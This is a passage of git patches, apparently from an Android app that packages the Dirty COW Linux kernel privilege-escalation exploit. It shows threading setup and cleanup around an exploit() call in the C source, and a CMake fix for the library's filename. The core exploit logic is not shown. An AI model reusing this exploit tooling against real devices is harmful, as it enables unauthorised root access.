mem_arg.oldFilePath = argv[0]; + mem_arg.isWritten = 0; + mem_arg.doneWriting = 0; + pthread_mutex_init(&mem_arg.lock, NULL); + pthread_cond_init(&mem_arg.condWritten, NULL); - exploit(&mem_arg, 1); + exploit(&mem_arg); + pthread_cond_destroy(&mem_arg.condWritten); + pthread_mutex_destroy(&mem_arg.lock); + munmap(map, size); close(oldFile); - // to put back - /*exploit(&mem_arg, 0);*/ + free(mem_arg.patch); return success; } From 50f7adc51d6885cf0740914a05ba3b61520db9e1 Mon Sep 17 00:00:00 2001 From: S-trace Date: Fri, 24 Feb 2017 20:22:26 +0300 Subject: [PATCH 8/8] Fix dirtyCow filename mismatch (dirtyCow.c=>dirtycow.c) --- app/CMakeLists.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/CMakeLists.txt b/app/CMakeLists.txt index bae895f..53836b4 100644 --- a/app/CMakeLists.txt +++ b/app/CMakeLists.txt @@ -9,6 +9,6 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}/src/main/li add_library( dirtyCow SHARED - src/main/jni/dirtyCow.c ) + src/main/jni/dirtycow.c ) target_link_libraries( dirtyCow log)